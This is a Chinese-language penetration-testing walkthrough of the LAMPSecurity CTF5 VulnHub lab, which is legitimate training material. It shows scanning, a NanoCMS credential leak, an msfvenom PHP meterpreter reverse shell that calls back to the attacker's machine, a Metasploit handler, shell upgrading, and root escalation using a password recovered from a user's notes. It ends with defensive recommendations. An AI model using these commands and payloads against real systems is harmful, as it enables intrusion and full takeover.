LAMPSecurity: CTF5
字数 1258 2025-08-11 08:36:13
LAMPSecurity: CTF5 渗透测试实战教学文档
一、环境部署
-
靶机下载:
- 下载地址:https://download.vulnhub.com/lampsecurity/ctf5.zip
- 使用VMware搭建靶机环境
-
攻击机配置:
- 使用Kali Linux作为攻击机
- 确保靶机和攻击机在同一网段
二、信息收集阶段
1. 网络扫描
- 使用
nmap扫描网段,识别靶机IP地址 - 示例命令:
nmap -sn 192.168.237.0/24 - 确定靶机IP(示例中为192.168.237.163)
2. 端口扫描
- 对靶机进行深度扫描:
nmap -sV -p- 192.168.237.163 - 重点关注开放的服务和端口
三、Web应用测试
1. 80端口Web服务
- 访问http://192.168.237.163
- 进行目录爆破,发现以下重要路径:
/events- Drupal CMS登录页面/list- 存在SQL注入漏洞的登录界面/mail- 存在已知漏洞的邮件登录界面/phpmyadmin- phpMyAdmin登录/quirrelmail- SquirrelMail登录/blog- NanoCMS系统
2. NanoCMS漏洞利用
- 搜索发现NanoCMS存在密码HASH泄露漏洞
- 访问漏洞URL获取管理员凭据:
- 用户名:admin
- 密码HASH:shannon(解密后)
- 尝试SSH登录失败后,使用该凭据登录NanoCMS后台
四、获取Shell
1. 后台Getshell
- 在NanoCMS后台找到可编辑页面的功能
- 使用msfvenom生成PHP反向shell:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.237.156 LPORT=4444 -f raw - 将生成的payload插入到可编辑页面中
2. 建立监听
- 在Kali中启动Metasploit:
msfconsole use exploit/multi/handler set LHOST 192.168.237.156 set payload php/meterpreter/reverse_tcp run - 访问包含payload的页面获取meterpreter会话
3. 升级Shell
- 检查Python环境:
which python - 升级为交互式Shell:
python -c 'import pty;pty.spawn("/bin/bash")'
五、权限提升
1. 用户目录枚举
- 检查
/home目录,发现多个用户:ls -la /home/* - 在patrick用户目录下发现隐藏文件
.tomboy
2. 敏感信息发现
- 检查
.tomboy目录下的日志文件 - 发现root用户密码的保存位置
- 提取root凭据
3. 提权操作
- 使用发现的root密码进行提权:
su root - 输入获取的root密码完成提权
六、关键知识点总结
-
信息收集的重要性:
- 全面的端口扫描和服务识别
- 细致的目录爆破和版本识别
-
漏洞利用技巧:
- 已知CMS漏洞的快速识别和利用
- HASH解密技巧
- 多种登录入口的测试
-
后渗透技术:
- 使用msfvenom生成定制payload
- Meterpreter会话的建立和管理
- Shell环境升级方法
-
权限提升方法:
- 用户目录和配置文件检查
- 日志文件分析
- 敏感信息提取技巧
七、防御建议
- 及时更新CMS系统和插件
- 避免使用默认或弱密码
- 限制敏感目录的访问权限
- 定期检查系统日志和用户文件
- 实施最小权限原则